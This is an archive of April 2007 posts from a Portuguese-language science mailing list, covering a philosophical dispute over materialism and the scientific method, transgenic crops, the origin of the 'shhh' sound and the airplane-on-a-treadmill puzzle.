Todos sabemos.

Jeff: <<< a ciência só tem a ganhar com as descobertas
da "verdade", seja ela qual for... É exatamente isso o
que ela busca, doa a quem doer... >>>

Isto mesmo! A ciência só tem a ganhar. Concordo
plenamente com você. Mas se é assim, me diga, porque
então querem me deletam da c-list? Jeff, não sei
quantos anos voce tem. Suponho que você seja bem novo,
e assim, ainda ingênuo em questões de comportamento
humano. A ciência realmente só tem a ganhar, mas todos
os cientistas materialista tem muito a perder. A
reputação, a autoridade e até o emprego. Nada que
realmente vale alguma coisa diante de reconhecer a
limitação e ampliar a visão. Mas nós, seres humanos,
não queremos perder nunca, nada. Você por acaso gosta
de perder? Ninguém gosta. Perder, para o nosso
inconsciente é igual morrer. Ninguém quer morrer. Todo
organismo foge da morte. Isto é natural.

Os cientistas materialista não estão interessados na
“verdade doa a quem doer”. Eles estão interessados na
verdade “que doa no outro e que beneficie eu”. Esta é
a triste realidade humana. O problema da ciência não é
a ciência, é o cientista. Se a dita “comunidade
cientifica” estivesse interessada mesmo na “verdade
doa a quem doer”, ninguém estaria querendo me deletar
da c-list, Sócrates não teria sido obrigado a beber
cicuta, Galileu não ia pra fogueira e Platão seria o
pai da ciência, ao invés de Aristóteles.

Jeff <<< Eu não sei de onde você tirou isso: “Mas a
ação humana não é motivada pela racionalidade, e sim
pelo emocional, o desejo, o medo, etc... Os cientistas
materialistas tem medo. >>>

Tirei das minhas observações. Observe você mesmo e
verá que é verdade. Sem vontade o ser humano não faz
nada. E quando faz sem vontade, é apenas porque será
punido (direta ou indiretamente) se não fizer, ou
seja, por medo. Freud fala muito sobre isto: dor e
prazer. Vou falar sobre isto no meu blog também. Mas
ainda está longe, antes preciso construir um bocado de
observações dentro da cabeça do leitor até poder falar
disto de forma bem clara. Mas enfim, grosso modo,
vontade é uma questão emocional, e pior, irracional.

Jeff <<< O que você não consegue entender, é que NÃO
PRECISA de "porque"! >>>

Jeff, uma existência sem porque é uma existência
caótica. Ou seja, que existe por acaso. Mas caos
(acaso) não é “uma causa”, uma força, é apenas o
desconhecimento da causa. Nada é por acaso. Você
acredita que está conversando comigo por acaso? Claro
que sim. Você não sabe porque está conversando comigo.
Mas você não sabe (ainda). Percebe como o caos é
temporal? Vai chegar uma hora que irá saber. E o fato
de você não saber (ainda) não significa que é por
acaso, significa apenas desconhecimento momentâneo
seu. Eu, por exemplo, posso já saber o porque enquanto
você ainda não saiba. O caos é sempre assim: relativo
(ao observador) e temporário. O caos só se faz
presente na mente do observador até que chegue o
momento que a ordem (que sempre esteve lá) lhe é
revelada (pela razão ou pela observação).

Pense no movimento dos astros quando se acreditava que
a terra era o centro do universo. Na visão geocêntrica
os planetas davam pulos, faziam zig-zag, etc. Era um
caos. Então veio a visão heliocêntrica e mostrou a
ordem que sempre esteve lá, mas que ninguém via com o
tapa-olho do geocentrismo. Analogamente é isto que
acontece com uma evolução fruto do acaso. O caos
(acaso) só é argumento porque se olha para evolução
com o tapa-olho do materialismo. Se olharmos para
evolução sem este tapa-olho, vemos que a evolução é
perfeitamente organizada e regida pelas leis do tempo.


Anote isto: "É o tempo que organiza a matéria e não a
matéria que organiza o tempo." Eis ai outra inversão
causada pela visão materialista. O materialismo não vê
isto porque não quer compreender o processo pelo qual
o materialismo se mantém operante: o processo do
conhecer (metódo cientifico). E é por isto que a
evolução se mantém fruto do caos, embora não seja. Eu
já escrevi sobre as leis do tempo. Nenhum mistério.
Quando ler vai ver que é a coisa mais óbvia que
existe. Vai chegar a hora em que as publicarei no
blog. Tudo ao seu tempo (rs). Eis ai uma delas. Porém,
não posso coloca-las lá antes de definir outras
questões fundamentais, como estou fazendo.

Jeff <<< Você e outras bilhões de pessoas "entenderam"
a teoria da evolução por seleção natural ao contrário!
Creio que seja por indução por causa de
educação religiosa. Como eu te disse no e-mail
anterior, a camada de ozônio, por exemplo, não foi
colocada lá PARA proteger os seres vivos do planeta,
estes existem nestas formas, sensíveis e desprotegidos
de raios UV, porque ela existe! E não o contrário...
Tente entender isso. >>>

--- Eu te entendo, Jeff. Já fui materialista e na vida
prática o pensamento materialista é básico. Imagine se
atraveso a rua movimentada pensando que um carro não
vai me atropelar?! Se fico tentando atravessar
paredes? Ia ser dolorido, não é mesmo? Porém, isto não
significa que a visão materialista sirva para tudo.
Acho honesto você lutar até a morte. Foi assim comigo.
Eu amo ciência. E também não abri mão da visão
materialista sem antes lutar até a morte. Mas morri. A
faca que me matou, nem me lembro mais quem a cravou em
meu peito, mas era simples assim: “o mapa não é o
território”. Foi daí que tudo começou. Foi assim que
me livrei do tapa-olho materialista. O materialismo é
um truque mental, muito sutil, e como disse, útil no
dia a dia. Mas todos temos condições de supera-lo.
Note uma coisa, no seu discurso acima, você usa as
seguintes palavras: “camada de ozônio, planeta, raios
UV”. E você usa essas palavras como se fosse
territórios (coisa), mas não são, são apenas mapas
(percepções humanas). Não é a primeira vez que vou lhe
aconselhar a refletir sobre isto: "o mapa não é o
território." Tomara que desta vez voce reflita.

Jeff <<< Obviamente, só existe evolução se existe
tempo >>>

--- Exatamente, isto é obvio, não é? É uma verdade,
não é? Mas porque é assim? É isto que precisa ser
investigado? É isto que estou investigando. E isto que
quero convidar todos a investigar: este óbvio. Se não
fosse óbvio não teriamos como investigar, mas é óbvio.
Você conhece alguma ciência que investiga este óbvio:
a relação entre o tempo e a evolução? Não existe
nenhuma (ainda). Mas porque? Porque a visão
materialista ignora esta relação. Não só ignora com
tem raiva de quem fala dela. É natural o tradicional
ter aversão ao novo. Foi assim com Galileu, com
Einstein, com Freud, etc. Aliás, Einstein sim
investigou este óbvio. E for por isto que nos intregou
a relação entre materia e energia (e=m.c2). Note que
c2 diz respeito a velocidade. E o que é velocidade? É
espaço/tempo. Mas infelizmente, ninguém entende o que
Einstein nos entregou. E como disse, o pior não é que
ninguém entende, o pior é que nem intende, nem deixa
os outros entenderem.

Jeff <<< Na verdade, é você que não consegue enxergar
o que algo tão simples como seleção natural pode
produzir durante bilhões de anos... Eu consigo! :) >>>

--- Ok. Parabéns pra vc! Só me responda o seguinte, já
que voce fala em “bilhões de anos”, suponho que saiba
o que seja o tempo. Sendo assim, me diga: o que é o
tempo?


Sinceramente
Ferrari








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SUBJECT: Re: Takata: Sobre o Método Cientifico - Mapa e Território
FROM: Ferrari <emailferrari@yahoo.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 09/04/2007 14:38

Olá Takata!

Takata >>> Deep Blue?

--- Pensei que conhecia. Este era o nome do computador
da IBM que venceu o Kasparov no xadrez.

Takata >>> Tb não.

--- Ótimo! Tomo sua palavra como honesta e não te
julgo mais por isto.

Takata >>> O q não quer dizer q eu vá me furtar a
tentar mostrar as inconsistências q vejo em certas
opiniões emitidas.

--- Nem deve. Fazer isto é a essencia de qualquer
debate. Tirada esta essencia não há porque debater.

Takata >>> Especialmente de opiniões em uma área q,
por acaso, vem a ser a em q eu trabalho.

--- Que área vc trabalha?

Takata >>> Se vc encontrar os EPs "Soul Show" e o
"Blue Million Miles" da Joan Osborne...

--- Ok, este tipo de coisa o True Blue não sabe fazer.
Mas desconheço o assunto.

Takata >>> Minha intenção em debater a questão do mapa
e do território com voce é ... Mostrar como vc está
equivocado a respeito das ciências

--- Porque diz isto? Com base em que?

Takata >>> e como a sua visão de realidade é
inconsistente.

--- E qual é minha visão da realidade?

Takata >>> E tb defender a idéia de q deuses e
divindades são conceitos q devem ser mantidos longe do
discurso sobre ciências.

--- Porque vc defende a idéia de q deuses e divindades
são conceitos q devem ser mantidos longe do discurso
sobre ciências? Suponho que vc deve ter algum motivo
para fazer isto? E, principelamente, deve ter um
motivo pra que todos os cientistas aceitem e
compartilhem da sua idéia. Afinal, note que quando vc
diz "longe do discurso sobre ciências", vc está
falando "em nome da ciencia". Caso contrário vc teria
dito: "porque defendo a idéia de q deuses e divindades
são conceitos q devem ser mantidos longe do "meu"
discurso sobre ciências?". Mas vc não disse meu, vc
quer que o mesmo que vc deseja pra si, sejá pra todos
os cientistas. Suponho que tenha um motivo pra isto?
Qual é este motivo? E porque tem certeza que o que
defende para si mesmo é o melhor para todos os
cientistas?


sinceramente
ferrari



>
> []s,
>
> Roberto Takata
>
>





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SUBJECT: Re: [ciencialist] Questão de Ordem - Direito de Defesa
FROM: "Oraculo" <oraculo@atibaia.com.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 09/04/2007 17:25

Olá Ferrari

Ferrari: "Se estou me manifestando atualmente da
forma que estou, reforço: minha motivação é ser útil,
se possivel, e a quem for possivel. Sendo assim, vamos
a mensagem. "

Apenas para constar, e para ajuda-lo a decidir que rumo tomar, eu acho suas participações totalmente inúteis, em termos de ciência. Se a idéia é ser útil, acho que deve repensar sua estratégia completamente.

E, sim, fica parecendo dogmatismo e cegueira religiosa, teológica, e irracional.

Um abraço.

Homero





----- Original Message -----
From: Ferrari
To: ciencialist@yahoogrupos.com.br
Sent: Friday, April 06, 2007 11:08 AM
Subject: [ciencialist] Questão de Ordem - Direito de Defesa


Olá lista!

Um colega integrante da nossa lista me mandou um email
em PVT. Estou respondendo aqui porque creio que as
perguntas e criticas que ele me fez, e minhas
respostas a elas, podem esclarecer as acusações
generalizadas das quais sou acusado, e que ao meu ver,
são injustas. Assim, este email e uma questão de ordem
e direito de defesa.

Não vou dizer o nome do integrante, pois se ele me
criticou em PVT suponho que ele não queira que vcs
saibam quem é ele. No lugar do nome dele vou escrever
"listeiro", ok?

Envio este email com o intuito de demonstrar que não
estou aqui pra me predispor com ninguém, nem falar
sobre dogmatismo religioso, ou filosofico. Pelo
contrário, participo desta lista a muitos anos e sou
avesso a qualquer tipo de dogmatismo, inclusive
cientifico. Se estou me manifestando atualmente da
forma que estou, reforço: minha motivação é ser útil,
se possivel, e a quem for possivel. Sendo assim, vamos
a mensagem.

Olá amigo listeiro!

Listeiro >>> Não te responder foi apenas um
posicionamento claro. Não falando, falei o que
realmente queria dizer. Que não acho legal seguir
neste tipo de discussão na lista.

--- Listeiro, entendo e respeito. Mas não concordo. A
ciência precisa sair do paradigma materialismo e quem
impede isto são os cientistas e não a ciência,
entende? Se você re-observar minhas manifestações na
lista, verá que em nenhum momento estou falando nada
da ciência (em si), mas sim dos cientistas e do
paradigma materialista. Ou seja, eu estou indo na base
da coisa, na causa do paradigma materialista que são
as crenças dos cientistas. Faço isto porque é ai que
está o problema que tem limitado o avanço dos novos
cientistas e dos novos paradigmas. Na lista estão os
cientistas, novos e tradicionais. Aos tradicionais,
precisamos questionar seus tradicionais paradigmas,
aos novos, precisamos estimula-los a produzir novos e
não apenas a decorar os tradicionais. Eis porque julgo
que é importante este tipo de debate. No fim, se os
tradicionais mapas estiverem certos, se eles forem
verdadeiros, porque temer? A verdade sempre prevalece,
não é mesmo?

Listeiro >>> O ponto é que essa é tradicionalmente
uma lista de ciência convencional. Se saímos um pouco
do rumo, com alguma freqüência, isso não faz mal a
ninguém. Mas se as mensagens que tratam de assuntos,
muitas vezes interessantes, mas fora deste contexto de
ciência que estamos acostumados (utilizado pela
lista), começam a ser a grande maioria das mensagens,
significa que muitos querem discutir um pouco do
assunto, ou poucos querem discutir muito. Mas perdemos
o foco e o ganho de termos listas por assunto.

--- Primeiro: será que é mesmo uma lista de ciência
convencional? Ou será que é uma lista onde só os
tradicionais tem voz. Pois quando alguém fala um "a"
que sai do "convencional" logo as autoridades caem
matando de pau. Que lista de ciências é esta? Onde uma
lista de ciência espera chegar assim, no mesmo lugar
comum de sempre? Na ciência família e propriedade?

--- Segundo: ciência convencional? Tá vendo como os
cientistas querem ser donos da ciência? Estão sempre
querendo convenciona-la aos seus interesses. A ciência
não é propriedade de nenhum cientista. Se a pessoa
quer ser convencional, tudo bem. Mas o que a ciência
tem a ver com isto? Deixa a ciência ser o que ela é:
instrumento humano de investigação.

Listeiro >>> Quando as pessoas entram em uma lista de
X, de uma coisa temos certeza (quase sempre): ele
gosta e quer discutir X. Ele pode não se pronunciar um
tempo, mas estará sempre acompanhando com algum
interesse. Quando começamos outros assuntos, que não
X, começam a ser dominantes na lista, no máximo
supomos que alguns gostam e outros não de Y. A
tendência é afastar e tirar o interesse daqueles que
não queriam estar discutindo Y. Por isso, e outras
razões, a maioria das listas tem moderadores.

--- Este seu argumento não procede, e você sabe que
não. O que estou discutindo com os listeiros da
ciencialist é o que tem de mais fundamental na ciência
"o método cientifico". Só que não tem como compreender
o "método cientifico" sem compreender também o seu
aplicador "o cientista". É só isto que estou dizendo.
É só isto que ninguém quer admitir, e fica irritado
quando aponto.

Listeiro >>> Não acho que você esteja discutindo
ciência.

--- Não estou mesmo. Em nenhum momento estive. Nem vou
estar. Ciência não se discute, se faz. Assim como
música não se discute, se faz. O que estou discutindo
é "o método cientifico".

Listeiro >>> O que você chama de ciência materialista,
eu chamo de ciência.

--- A ciência não é materialista. Materialismo é uma
crença, não é uma coisa. A ciencia não tem como ser
materialista, é impossível. A ciência é um processo
dentro da realidade e a realidade não é material, é
real. Contudo, a mente dos cientista, que também não é
material, é habitada por este paradigma "o
materialismo". E é assim que, apesar de nada na
realidade ser material, passa a ser, embora não sendo.
Entende o que estou dizendo?

Listeiro >>> Você levanta algumas questões filosóficas
importantes. Não são nenhuma novidade, nem precisam
ser (vc nunca disse que eram, apenas agiu como tal).
Mas a maior parte do tempo só diz coisas para as quais
não vejo nenhum valor.

--- Ok, respeito. Estou aqui debatendo pra ser util a
quem acha que o que digo tem valor. Se as pessoas
respondem indignadas está longe do meu controle. Se
respondo é pra esclarecer o que afirmo, não para
confundir, impor, ou criar confusão. Pelo contrário,
exponho para ser útil, e respondo sobre o que exponho
para continuar sendo útil.

Listeiro >>> Na sua opinião, não sou ainda capaz de
entender o valor inerente.

--- Sempre digo o contrário, que todos podem
compreender. Mas que muitos não querem. É isto que
digo. Se você quiser compreender o que aponto, você
não só pode, como já sabe. Se não soubesse eu não
teria como lhe mostrar. Assim como não faria sentido
eu lhe mostrar as cores se você fosse cego. Mas meu
limite é apontar, ver é com você.

Listeiro >>> na minha opinião, faltam argumentos
válidos. E podemos discutir mais sobre isso, se você
quiser.

--- Sim, me diga o porque desta sua opinião. Se você
puder exemplificar ficará mais produtivo ainda o
debate sobre esta sua opinião.

Listeiro >>> Temos uma diferente concepção de
realidade. E também podemos discutir isso, se você
quiser.

--- Sim, claro! Você pode começar apontando as
diferenças. Ou então, me dizendo qual é a sua
concepção.

Listeiro >>> mas afirma categoricamente (com uma certa
prepotência até), que eu não sei o que é isso ou
aquilo e que você sabe. E que um dia eu, talvez,
perceba que isso que você sabe é a verdade verdadeira,
absoluta. Entende?

--- A suposta prepotência é só provocação. A afirmação
de que eu sei e o Homero não sabe, também é provocação
pra ver se ele abre a carta do materialismo. Mas não
significa que eu não saiba o que estou dizendo. Sim,
sei sim. Mas o que sei? Sei o que é fazer ciência.
Negar isto seria tão incongruente como negar que sei o
que é azul, o que é doce, etc. Não tem porque negar.
Mas também não sei mais do que ninguém. Todo os seres
humanos sabem o que eu sei, assim como todo ser humano
sabe o que é azul, doce, etc. Ou seja, não tem nenhum
segredo nem nenhuma verdade absoluta no que eu sei,
apenas me interesso por fenomenos que todos sabem,
conhecem, mas geralmente não dão nenhuma atenção: o
processo da ciencia (saber).

Listeiro >>> Te falta um pouco de humildade.

--- Respeito sua opinião. As vezes minha franqueza é
confundida como falta de humildade. Por outro lado, se
eu fizer esforço para ser humilde, a humildade vai ser
falsa e a franqueza vai por água abaixo, não é? Sendo
assim, faço esforço apenas para ser franco e assumo as
conseqüências.

Listeiro >>> A sua verdade não é necessariamente a
verdadeira. Na verdade não acredito nessa tal verdade
absoluta. Você talvez também fale que não acredita,
mas não será coerente com sua observação acima.

--- Tem algumas coisas ai:

--- 1) Sim, por ser obrigado a pensar, meu pensamento
deduz que existe sim uma realidade maior do que ele
(que vc chama de absoluta) que lhe obriga a continuar
pensando.

--- 2) Isto não significa que o conhecimento da
realidade produzido pelo pensamento é a realidade. Eu
sei que não é.

--- 3) É melhor separar os termos: verdade e
realidade. Verdade tem a ver com o conhecimento da
realidade (ser), realidade tem a ver com a realidade
(em si), com o ser (em si).

sinceramente
ferrari

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[As partes desta mensagem que não continham texto foram removidas]



SUBJECT: Nova fraude em clonagem?
FROM: "rmtakata" <roberto.takata@bol.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 09/04/2007 19:06

Universidade de Seul abre investigação sobre clonagem de lobos
http://www1.folha.uol.com.br/folha/ciencia/ult306u16260.shtml
--------------------
Se a fraude se confirmar, vai parecer q os coreanos estão obstinados
em acabar com a clonagem detonando a credibilidade das pesquisas na área.

[]s,

Roberto Takata



SUBJECT: Re: [ciencialist] Origem do som usado para pedir silêncio
FROM: "Silvio Cordeiro" <scordeiroes@superig.com.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 09/04/2007 19:10

Nando:

Não creio haver melhor justificativa: Nos tempos coloniais, os maiores inimigos das crianças que ficavam em berços eram as cobras e os porcos.... (estes últimos, faziam um estrago!!!).

sds.,
silvio.
----- Original Message -----
From: Nando
To: ciencialist@yahoogrupos.com.br
Sent: Sunday, April 08, 2007 10:19 PM
Subject: [ciencialist] Origem do som usado para pedir silêncio


Aquele 'shhh' que todos fazem quando querem que seja feito silêncio...
qual a origem desse som?

Li em algum lugar (livro do Sagan, talvez) que seria uma imitação do
chocalho de serpentes, de modo a incutir medo às criancinhas...
Isso procede, alguém tem alguma fonte ou isso é só uma suposição?

Abraços.





------------------------------------------------------------------------------


No virus found in this incoming message.
Checked by AVG Free Edition.
Version: 7.5.446 / Virus Database: 269.0.0/751 - Release Date: 7/4/2007 22:57


[As partes desta mensagem que não continham texto foram removidas]



SUBJECT: Re: Origem do som usado para pedir silêncio
FROM: "rmtakata" <roberto.takata@bol.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 09/04/2007 19:48

--- Em ciencialist@yahoogrupos.com.br, Nando <nando.str@...> escreveu
> Li em algum lugar (livro do Sagan, talvez) que seria uma imitação do
> chocalho de serpentes, de modo a incutir medo às criancinhas...
> Isso procede, alguém tem alguma fonte ou isso é só uma suposição?

Q eu saiba criança com medo chora em vez de ficar quieta.

De todo modo é bem complicado estabelecer a origem disso.

Uma q inventei agora, poderia ser uma imitação do som do vento.
Outra, é um dos som mais fáceis de emitir com a boca parcialmente fechada.

[]s,

Roberto Takata



SUBJECT: Re: [ciencialist] Re: Transgênicos. Afinal, quem diz o quê?
FROM: José Renato <jrma@terra.com.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 09/04/2007 21:38

Homero, escreveu: [ Uma empresa pode criar uma semente transgênica, que é
resistente apenas a seu próprio herbicida, de forma a criar um monopólio
vertical: vende a semente, o que obriga a compra de adubo, insumos e
herbicidas, tudo fabricado por ela mesma. ]
.............................................

Parece-me que o tempo do verbo está defasado na descrição dessa
possibilidade perversa denunciada pelos ecologistas. A semente e o herbicida
com esse perfil "especial" já são produzidas pela Monsanto.
[]s
JR
.............................................

----- Original Message -----
From: "oraculo333" <oraculo@atibaia.com.br>
To: <ciencialist@yahoogrupos.com.br>
Sent: Monday, April 09, 2007 12:55 AM
Subject: [ciencialist] Re: Transgênicos. Afinal, quem diz o quê?


Olá Luiz

Luiz: "Afinal, os dados científicos apontam para um uso sem perigos ou
isto é falácia? O Greenpeace tem razão de chiar, ou chia só para fazer
barulho e terem o que fazer? Como fica esse embate? "

Acho que não há resposta simples ou 100% para essa questão, como
muitas questões complexas. Mas é possível tentar ver algo através das
"cortinas" de exagero de ambos os lados.

Muitos seres vivos são "transgênicos" muito antes de nós dominarmos as
técnicas que permitem criar artificialmente transgenicos. A troca de
material genético entre vírus e plantas é antiga, e diversas
características parecem provir desse hábito ancestral.

O Grenpeace tem certa razão, embora ele sempre prefira o exagero e
super-exposição. Toda nova tecnologia deve ser estudada, acompanhada e
cuidadosamente analisada, antes de ser largamente utilizada. O risco
de não agir assim não compensa vantagens de curto prazo.

Isso fica evidente quando os organismos gestores cedem as pressões de
laboratórios para liberar novas drogas ou tratamentos antes dos prazos
comumente exigidos. Medicamentos que deveriam curar acabam
apresentando efeitos colaterais graves ou daninhos, de forma a não
compensar sua eficácia como tratamento.

Mas estudar e acompanhar cuidadosamente é diferente de impedir o
estudo completamente, ou ignorar as pesquisas, se estas refutarem sua
preocupação. Coisas como vacinas, antibióticos, anestesia, etc, não
existiriam hoje se as preocupações, em alguma medida legítimas, do
início tivessem impedido seu desenvolvimento.

Tenho sempre certo receio de posições "religiosas", que apresentam
motivos "religiosos" contra conhecimento ou pesquisas científicas. E
nem sempre a posição religiosa é de uma religião clássica, o
Greenpeace, e o ativismo ecológico, podem se comportar como uma
religião, onde a motivação emocional vence a razão.

A Igreja tentou impedir a anestesia no parto, pois violava palavras
claras e sagradas de deus: darás a luz com dor e sofrimento. Me parece
que a implicância com transgenicos, em alguma medida, passou para o
lado da motivação religiosa, mais que a oposição racional.

Por exemplo, as críticas parecem se dirigir aos "perigos" aos seres
humanos, quando poderiam ser mais eficazes se fossem dirigidas a
fragilidades mais evidentes e racionais, a possibilidade de se
tornarem ineficazes em razão da evolução do meio ambiente, e mais
especificamente, contra as empresas por tras dos transgenicos mais
conhecidos, que tentam criar um monopólio de patentes de genes para
sementes.

Isso me parece muito mais preocupante que eventuais perigos de ingerir
soja transgenica. Uma empresa pode criar uma semente transgenica, que
é resistente apenas a seu próprio herbicida, de forma a criar um
monopólio vertical: vende a semente, o que obriga a compra de adubo,
insumos e herbicidas, tudo fabricado por ela mesma.

A maior parte dos estudos parece confirmar a segurança da ingestão de
sementes transgenicas. Sem nada a refutar esses estudos, a sensação de
que é mais histeria que preocupação real é muito forte.

Um abraço.

Homero




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SUBJECT: Re: [ciencialist] P/ JC - Re: Balanço do avião - Não to entendendo nada :)
FROM: José Renato <jrma@terra.com.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 09/04/2007 21:50

Olá, José Carlos, ainda bem que vc não entendeu no início! Mas agora com a
explicação de Homero vc ficou conhecendo uma das soluções possíveis da
questão. A outra solução ainda não consegui transmitir aos interlocutores da
lista. Pelo menos até agora ninguém disse que a entendeu. Estranhamente,
alguns ficaram calados depois de algumas explicações mais detalhadas... É
bom lembrar que as idéias não têm dono, mas têm autoria. É de boa ética
citá-la ao transmitir em outras plagas.

[]s

José Renato
.............................................

----- Original Message -----
From: "José Carlos Antonio" <profjc2003@yahoo.com.br>
To: <ciencialist@yahoogrupos.com.br>
Sent: Monday, April 09, 2007 6:02 AM
Subject: [ciencialist] P/ JC - Re: Balanço do avião - Não to entendendo nada
:)


Ok, agora entendi. Nossa, que confusão vocês fizeram, não? Mas porque
o José Renato não entendeu ainda? Será que ele está pensando que a
esteira está arrastando o avião para trás?

Ei JR, qualquer que seja o movimento da esteira ela não afeta o do
avião (probleminha idealizado, sem atrito nos rolamentos da roda, só
alegria!).

Abraços,
JC


--- Em ciencialist@yahoogrupos.com.br, "oraculo333" <oraculo@...> escreveu
>
> Olá JC
>
> Este debate se originou de um experimento mental, uma "pegadinha", que
> continha este enunciado:
>
> Um avião está sobre uma esteira rolante. Conforme o avião acelera, e
> se move para frente, a esteira, a partir de um dispositivo automático,
> começa a rolar para tras, na mesma velocidade de deslocamento do avião.
>
> Pergunta-se, o avião decola (ou seja, atinge a velocidade de voo em
> relação ao ar), ou não decola (ou seja, não atinge a velocidade de voo).
>
> Depois de, inicialmente, alguns serem "enganados" pelo "red hering", a
> esteira que rola para tras, o que os levou a afirmar que o avião NÃO
> decolava, pois não saia do lugar, todo mundo entendeu que, era
> irrelevante a esteira, pois esta só aplicava força através dos
> rolamentos das rodas, que são, no caso do avião, dispositivos de
> ELIMINAR a ligação entre o avião e o solo.
>
> Ou seja, a esteira rola para tras, mas só faz acelarar o "giro" das
> rodas do avião, que continua a se mover para frente.
>
> Parte do engano é a forma como "vemos" as rodas, como dispositivos de
> tração. Se colocar um carro na esteira, como ele depende da "tração"
> das rodas para se mover, o rolar da esteira impede que este ande para
> frente.
>
> Mas aviões se movem com propulsão separada do solo e das rodas! Ele se
> move pelas hélices e jatos. E estes o moverão para frente seja sobre
> rodas na esteira, seja sobre eskis no gelo, seja sobre flutuadores na
> água.
>
> Mas o Renato se recusa a entender, e afirma que o avião não decola.
> Mais ainda, já bem encurralado, resolveu que "depende" do referencial
> com que mede a velocidade do avião, se do solo, ar ou esteira. Ou
> seja, se medir a velocidade do avião em relação a esteira, ele não
> voa, se mudar a passar a medir a velocidade do avião em relação ao
> solo, ele voa.
>
> É um caso fantástico, onde dependendo do referencial em que mede algo,
> o objeto se comporta de forma diferente!..:-) Até a relatividade do
> coitado do Einstein (que já foi usado para justificar todo e qualquer
> absurdo) ele tentou usar para sua tese.
>
> Parte do engano veio de uma discussão paralela com o Takata, que
> defendia que, em determinadas circunstâncias, o atrito dos rolamentos
> das rodas poderiam desacelerar o avião o suficiente para que este não
> decolasse. Mas até o Takata concordava que, se desprezarmos o atrito
> dos rolamentos, o avião decola sempre.
>
> Quase todos tentaram explicar ao Renato, inclusive alguns dos que se
> enganaram no início com o "red hering" da esteira (como o próprio
> Leo), mas sem sucesso algum..:-)
>
> Se quiser tentar também, eu já desisti..:-)
>
> Um abraço.
>
> Homero
>




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SUBJECT: Re: [ciencialist] P/ JC - Re: Balanço do avião - Não to entendendo nada :)
FROM: "Marcelo Cortimiglia" <cortimiglia@gmail.com>
TO: ciencialist@yahoogrupos.com.br
DATE: 09/04/2007 22:37

Jose Renato,

bom, eu fiquei calado porque percebi a inutilidade de tentar te convencer do
teu equivoco. O aviao nao decolar se mudar o referencial é simplesmente
absurdo!

Evidentemente, sempre ha a possibilidade de todos estarmos errados e tu
certo.

Abracos,

Marcelo Cortimiglia


Em 10/04/07, José Renato <jrma@terra.com.br> escreveu:
>
> Olá, José Carlos, ainda bem que vc não entendeu no início! Mas agora com
> a
> explicação de Homero vc ficou conhecendo uma das soluções possíveis da
> questão. A outra solução ainda não consegui transmitir aos interlocutores
> da
> lista. Pelo menos até agora ninguém disse que a entendeu. Estranhamente,
> alguns ficaram calados depois de algumas explicações mais detalhadas... É
> bom lembrar que as idéias não têm dono, mas têm autoria. É de boa ética
> citá-la ao transmitir em outras plagas.
>
> []s
>
> José Renato
> .............................................
>
> ----- Original Message -----
> From: "José Carlos Antonio" <profjc2003@yahoo.com.br<profjc2003%40yahoo.com.br>
> >
> To: <ciencialist@yahoogrupos.com.br <ciencialist%40yahoogrupos.com.br>>
> Sent: Monday, April 09, 2007 6:02 AM
> Subject: [ciencialist] P/ JC - Re: Balanço do avião - Não to entendendo
> nada
> :)
>
> Ok, agora entendi. Nossa, que confusão vocês fizeram, não? Mas porque
> o José Renato não entendeu ainda? Será que ele está pensando que a
> esteira está arrastando o avião para trás?
>
> Ei JR, qualquer que seja o movimento da esteira ela não afeta o do
> avião (probleminha idealizado, sem atrito nos rolamentos da roda, só
> alegria!).
>
> Abraços,
> JC
>
> --- Em ciencialist@yahoogrupos.com.br <ciencialist%40yahoogrupos.com.br>,
> "oraculo333" <oraculo@...> escreveu
> >
> > Olá JC
> >
> > Este debate se originou de um experimento mental, uma "pegadinha", que
> > continha este enunciado:
> >
> > Um avião está sobre uma esteira rolante. Conforme o avião acelera, e
> > se move para frente, a esteira, a partir de um dispositivo automático,
> > começa a rolar para tras, na mesma velocidade de deslocamento do avião.
> >
> > Pergunta-se, o avião decola (ou seja, atinge a velocidade de voo em
> > relação ao ar), ou não decola (ou seja, não atinge a velocidade de voo).
> >
> > Depois de, inicialmente, alguns serem "enganados" pelo "red hering", a
> > esteira que rola para tras, o que os levou a afirmar que o avião NÃO
> > decolava, pois não saia do lugar, todo mundo entendeu que, era
> > irrelevante a esteira, pois esta só aplicava força através dos
> > rolamentos das rodas, que são, no caso do avião, dispositivos de
> > ELIMINAR a ligação entre o avião e o solo.
> >
> > Ou seja, a esteira rola para tras, mas só faz acelarar o "giro" das
> > rodas do avião, que continua a se mover para frente.
> >
> > Parte do engano é a forma como "vemos" as rodas, como dispositivos de
> > tração. Se colocar um carro na esteira, como ele depende da "tração"
> > das rodas para se mover, o rolar da esteira impede que este ande para
> > frente.
> >
> > Mas aviões se movem com propulsão separada do solo e das rodas! Ele se
> > move pelas hélices e jatos. E estes o moverão para frente seja sobre
> > rodas na esteira, seja sobre eskis no gelo, seja sobre flutuadores na
> > água.
> >
> > Mas o Renato se recusa a entender, e afirma que o avião não decola.
> > Mais ainda, já bem encurralado, resolveu que "depende" do referencial
> > com que mede a velocidade do avião, se do solo, ar ou esteira. Ou
> > seja, se medir a velocidade do avião em relação a esteira, ele não
> > voa, se mudar a passar a medir a velocidade do avião em relação ao
> > solo, ele voa.
> >
> > É um caso fantástico, onde dependendo do referencial em que mede algo,
> > o objeto se comporta de forma diferente!..:-) Até a relatividade do
> > coitado do Einstein (que já foi usado para justificar todo e qualquer
> > absurdo) ele tentou usar para sua tese.
> >
> > Parte do engano veio de uma discussão paralela com o Takata, que
> > defendia que, em determinadas circunstâncias, o atrito dos rolamentos
> > das rodas poderiam desacelerar o avião o suficiente para que este não
> > decolasse. Mas até o Takata concordava que, se desprezarmos o atrito
> > dos rolamentos, o avião decola sempre.
> >
> > Quase todos tentaram explicar ao Renato, inclusive alguns dos que se
> > enganaram no início com o "red hering" da esteira (como o próprio
> > Leo), mas sem sucesso algum..:-)
> >
> > Se quiser tentar também, eu já desisti..:-)
> >
> > Um abraço.
> >
> > Homero
> >
>
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>
> E-mail classificado pelo Identificador de Spam Inteligente Terra.
> Para alterar a categoria classificada, visite
>
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>
> Esta mensagem foi verificada pelo E-mail Protegido Terra.
> Scan engine: McAfee VirusScan / Atualizado em 06/04/2007 / Versão:
> 5.1.00/5003
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> No virus found in this incoming message.
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> 20:34
>
>
>


[As partes desta mensagem que não continham texto foram removidas]



